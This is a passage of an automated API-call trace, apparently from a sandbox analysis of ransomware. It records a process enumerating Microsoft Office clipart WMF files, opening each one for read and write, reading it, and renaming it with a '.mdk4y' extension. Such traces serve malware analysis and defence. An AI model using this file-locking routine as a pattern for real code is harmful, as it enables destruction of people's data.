Office\\CLIPART\\PUB60COR\\NA00391_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.mdk4y")) returned 1 [0169.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.871] AreFileApisANSI () returned 1 [0169.871] GetACP () returned 0x4e4 [0169.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00394_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00394_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.873] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ad4, lpOverlapped=0x0) returned 1 [0169.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.mdk4y")) returned 1 [0169.880] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.880] AreFileApisANSI () returned 1 [0169.880] GetACP () returned 0x4e4 [0169.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00395_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00395_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.881] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x194a, lpOverlapped=0x0) returned 1 [0169.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.mdk4y")) returned 1 [0169.884] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.884] AreFileApisANSI () returned 1 [0169.884] GetACP () returned 0x4e4 [0169.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00396_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00396_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.885] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x38c6, lpOverlapped=0x0) returned 1 [0169.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.mdk4y")) returned 1 [0169.890] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.890] AreFileApisANSI () returned 1 [0169.890] GetACP () returned 0x4e4 [0169.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00417_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00417_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.890] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.891] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x173e, lpOverlapped=0x0) returned 1 [0169.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.mdk4y")) returned 1 [0169.913] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.913] AreFileApisANSI () returned 1 [0169.913] GetACP () returned 0x4e4 [0169.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00433_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00433_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.914] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.914] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4696, lpOverlapped=0x0) returned 1 [0169.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.mdk4y")) returned 1 [0169.934] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.934] AreFileApisANSI () returned 1 [0169.934] GetACP () returned 0x4e4 [0169.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00438_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00438_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.935] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f38, lpOverlapped=0x0) returned 1 [0169.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.mdk4y")) returned 1 [0169.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.968] AreFileApisANSI () returned 1 [0169.968] GetACP () returned 0x4e4 [0169.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00452_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00452_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14bc, lpOverlapped=0x0) returned 1 [0169.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.mdk4y")) returned 1 [0169.980] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.980] AreFileApisANSI () returned 1 [0169.980] GetACP () returned 0x4e4 [0169.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00454_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00454_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.980] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.981] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1580, lpOverlapped=0x0) returned 1 [0170.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.mdk4y")) returned 1 [0170.014] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.014] AreFileApisANSI () returned 1 [0170.014] GetACP () returned 0x4e4 [0170.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00458_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00458_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.015] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27a4, lpOverlapped=0x0) returned 1 [0170.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.mdk4y")) returned 1 [0170.036] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.036] AreFileApisANSI () returned 1 [0170.036] GetACP () returned 0x4e4 [0170.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00462_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00462_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.036] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.037] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f6c, lpOverlapped=0x0) returned 1 [0170.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.mdk4y")) returned 1 [0170.040] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.040] AreFileApisANSI () returned 1 [0170.040] GetACP () returned 0x4e4 [0170.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00487_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00487_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.040] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.041] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc10, lpOverlapped=0x0) returned 1 [0170.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.mdk4y")) returned 1 [0170.044] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.044] AreFileApisANSI () returned 1 [0170.044] GetACP () returned 0x4e4 [0170.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00494_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00494_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.044] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.045] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x938, lpOverlapped=0x0) returned 1 [0170.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.mdk4y")) returned 1 [0170.047] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.047] AreFileApisANSI () returned 1 [0170.047] GetACP () returned 0x4e4 [0170.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00512_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00512_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.048] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb60, lpOverlapped=0x0) returned 1 [0170.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.mdk4y")) returned 1 [0170.051] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.051] AreFileApisANSI () returned 1 [0170.051] GetACP () returned 0x4e4 [0170.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00523_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00523_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.052] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6efa, lpOverlapped=0x0) returned 1 [0170.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.mdk4y")) returned 1 [0170.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.055] AreFileApisANSI () returned 1 [0170.055] GetACP () returned 0x4e4 [0170.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00525_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00525_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5880, lpOverlapped=0x0) returned 1 [0170.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.mdk4y")) returned 1 [0170.074] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.075] AreFileApisANSI () returned 1 [0170.075] GetACP () returned 0x4e4 [0170.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00530_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00530_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.076] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x477c, lpOverlapped=0x0) returned 1 [0170.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.mdk4y")) returned 1 [0170.113] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.113] AreFileApisANSI () returned 1 [0170.113] GetACP () returned 0x4e4 [0170.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00532_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00532_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.114] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.114] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x530, lpOverlapped=0x0) returned 1 [0170.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.mdk4y")) returned 1 [0170.122] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.122] AreFileApisANSI () returned 1 [0170.122] GetACP () returned 0x4e4 [0170.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00538_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00538_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.122] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 